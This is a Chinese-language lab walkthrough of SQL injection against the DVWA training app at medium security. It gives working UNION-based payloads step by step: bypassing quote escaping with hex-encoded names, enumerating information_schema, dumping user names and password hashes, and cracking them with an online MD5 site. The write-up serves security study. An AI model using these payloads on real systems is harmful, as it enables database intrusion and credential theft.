medium与low的区别在于对对输入的数据进行了转义处理,多了$id = mysql_real_escape_string($id); 这句。
在这里输入‘会有如下结果:
不用担心还有好多是可以用哒~~
输入1 or 1=1:
得到了所有id对应的用户。
接下来用union select
输入 1 or 1=1 union select 1,2--
可以正常输出
但是输入1 or 1=1 union select 1,2,3-- 却得到如下结果
说明这里的数据表是两列哟~~~
接下来就可以用user(),database(),version()查看信息了:
查询information_schema系统表,获得MySQL数据库中每一个表名以及每一列的名字
为了便于查找可以这样:
输入1 or 2=1 union select 1,concat(table_name,0x0a,column_name) from information_schema.columns,得到的结果为
以上结果还是很多,可以尝试如下办法获得MySQL中所有的数据库:
输入1 or 2=1 union select table_schema,null from information_schema.tables
显然这里用的数据库是dvwa~
既然已经知道数据库的名字,也就不用大海捞针揣测它各个表的名字了
输入1 or 2=1 union select table_name,null from information_schema.tables where table_schema=0x64767761 这个0x64767761是dvwa的十六进制表示
这里使用十六进制表示的因为这里应该填入数据库名,应该是一个字符串,如果写dvwa则要在它两端加上单引号,这样才会被识别为string,但是单引号会被过滤掉,所以直接写string会报错。
现在查看users这个表单中有哪些列(实际上前面以及找到了= =!重复一下又怎样)
输入:1 or 2=1 union select 1,concat(table_name,0x0a,column_name) from information_schema.columns where table_name=0x7573657273
咳咳!后面table_name不能直接用users哦,会报错的
正确的输出是
users里面共有6列哟~
接下来获得用户名和密码:
输入1 or 2=1 union select 1,concat(first_name,0x0a,password) from users
也可以输入1 or 2=1 union select first_name,password from dvwa.users # 获得
在http://www.md5decrypter.com/上查一下
一些常用的密码hash破解是没有问题的